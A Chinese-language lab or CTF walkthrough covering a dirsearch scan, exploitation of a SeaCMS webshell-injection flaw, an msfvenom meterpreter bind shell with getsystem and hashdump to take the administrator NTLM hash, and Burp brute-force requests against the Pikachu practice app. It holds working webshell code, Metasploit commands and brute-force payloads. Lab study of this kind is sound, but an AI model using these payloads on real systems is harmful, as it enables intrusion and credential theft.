PT1
最终任务是获取管理员的密码，能做到吗？
flag1
OpenVPN连接
在网站最下面找到了它的CMS名字，然后dirsearch扫目录
bash
Extensions: php, asp, aspx, html, txt, json, xml, conf, ini | HTTP method: GET | Threads: 100 | Wordlist size: 13554
Output File: cslab_scan_result.txt
Target: http://10.0.0.68/
[21:24:40] Starting:
[21:24:42] 403 - 215B - /%C0%AE%C0%AE%C0%AF
[21:24:42] 403 - 211B - /%3f/
[21:24:42] 403 - 210B - /%ff
[21:24:43] 403 - 220B - /.ht_wsr.txt
[21:24:43] 403 - 223B - /.htaccess.bak1
[21:24:43] 403 - 223B - /.htaccess.orig
[21:24:43] 403 - 223B - /.htaccess.save
[21:24:43] 403 - 224B - /.htaccess_extra
[21:24:43] 403 - 221B - /.htaccess_sc
[21:24:43] 403 - 221B - /.htaccessOLD
[21:24:43] 403 - 222B - /.htaccessOLD2
[21:24:43] 403 - 214B - /.html
[21:24:43] 403 - 223B - /.htpasswd_test
[21:24:43] 403 - 219B - /.htpasswds
[21:24:43] 403 - 225B - /.htaccess.sample
[21:24:43] 403 - 223B - /.htaccess_orig
[21:24:43] 403 - 221B - /.htaccessBAK
[21:24:43] 403 - 213B - /.htm
[21:24:43] 403 - 220B - /.httr-oauth
[21:25:00] 301 - 233B - /article -> http://10.0.0.68/article/
[21:25:00] 200 - 1KB - /article/
[21:25:05] 301 - 233B - /comment -> http://10.0.0.68/comment/
[21:25:07] 301 - 230B - /data -> http://10.0.0.68/data/
[21:25:07] 200 - 3B - /data/cache/
[21:25:07] 200 - 3B - /data/sessions/
[21:25:07] 200 - 1KB - /data/
[21:25:08] 301 - 232B - /detail -> http://10.0.0.68/detail/
[21:25:10] 200 - 1KB - /err.php
[21:25:12] 200 - 17KB - /favicon.ico
[21:25:15] 200 - 1KB - /i.php
[21:25:20] 301 - 233B - /include -> http://10.0.0.68/include/
[21:25:20] 301 - 233B - /install -> http://10.0.0.68/install/
[21:25:20] 301 - 233B - /Install -> http://10.0.0.68/Install/
[21:25:20] 301 - 233B - /INSTALL -> http://10.0.0.68/INSTALL/
[21:25:22] 301 - 228B - /js -> http://10.0.0.68/js/
[21:25:22] 200 - 2KB - /include/
[21:25:23] 403 - 225B - /index.php::$DATA
[21:25:23] 301 - 230B - /list -> http://10.0.0.68/list/
[21:25:23] 200 - 782B - /install/
[21:25:24] 200 - 16KB - /login.php
[21:25:27] 200 - 590B - /js/
[21:25:27] 200 - 5KB - /member.php
[21:25:29] 301 - 230B - /news -> http://10.0.0.68/news/
[21:25:33] 301 - 236B - /phpMyAdmin -> http://10.0.0.68/phpMyAdmin/
[21:25:33] 301 - 236B - /phpmyadmin -> http://10.0.0.68/phpmyadmin/
[21:25:34] 200 - 4KB - /phpMyAdmin/
[21:25:34] 200 - 4KB - /phpmyAdmin/
[21:25:34] 200 - 4KB - /phpmyadmin/
[21:25:34] 200 - 4KB - /phpMyAdmin/index.php
[21:25:34] 200 - 4KB - /phpMyadmin/
[21:25:34] 200 - 2KB - /phpmyadmin/README
[21:25:34] 200 - 32KB - /phpmyadmin/ChangeLog
[21:25:35] 200 - 4KB - /phpmyadmin/index.php
[21:25:40] 200 - 1KB - /s.php
[21:25:40] 200 - 1KB - /search.php
[21:25:50] 301 - 234B - /templets -> http://10.0.0.68/templets/
[21:25:52] 301 - 231B - /topic -> http://10.0.0.68/topic/
[21:25:52] 403 - 225B - /Trace.axd::$DATA
[21:25:53] 200 - 406B - /uploads/
[21:25:53] 301 - 233B - /uploads -> http://10.0.0.68/uploads/
[21:25:55] 301 - 231B - /video -> http://10.0.0.68/video/
[21:25:58] 403 - 226B - /web.config::$DATA
Task Completed
/data/admin/ver.txt这个路径下找到了CMS的版本，然后找到了SeaCMS_12.9 sql注入漏洞+RCE - 0kooo - 博客园这个可以打的漏洞
根据这篇文章SeaCMS海洋影视管理系统远程代码执行漏洞复现_seacms漏洞-CSDN博客
知道有路径随机化,猜测后台名字是cslab，并且账号密码应该也是cslab
然后植入一句话木马";@eval($_POST[1]);"
蚁剑连webshell
bash
http://10.0.0.68/data/admin/notify.php
password:1
然后在c盘下找到flag.txt
flag2
需要administrator用户的ntmlhash值，那么就是需要提权了
用kali的生成正向连接的木马，msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=4444 -f exe -o shell.exe
kali打开监测器
bash
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.0.0.68
set lport 4444
exploit
然后在靶机上传shell，shell.exe执行，然后提权，getsystem，hashdump提取哈希值
pikachu
暴力破解
bash
POST /vul/burteforce/bf_form.php HTTP/1.1
Host: 10.2.2.8
Content-Length: 43
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.2.2.8
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.2.2.8/vul/burteforce/bf_form.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pp72l3can9mfmsoqc9jh86a1f3
Connection: close
username=§admin§&password=§123456§&submit=Login
指定位置进行爆破账号密码
bash
POST /vul/burteforce/bf_server.php HTTP/1.1
Host: 10.2.2.8
Content-Length: 56
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.2.2.8
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.2.2.8/vul/burteforce/bf_server.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pp72l3can9mfmsoqc9jh86a1f3
Connection: close
username=§admin§&password=§123456§&vcode=§okuqee§&submit=Login
验证码重放，可以多次复用同一token验证码爆破账号密码
bash
POST /vul/burteforce/bf_token.php HTTP/1.1
Host: 10.2.2.8
Content-Length: 77
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.2.2.8
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.2.2.8/vul/burteforce/bf_token.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pp72l3can9mfmsoqc9jh86a1f3
Connection: close
username=admin&password=123456&token=680616a17d32e02e98850840400&submit=Login
每次响应会附带上一次使用的token，采取token重放的方式攻击
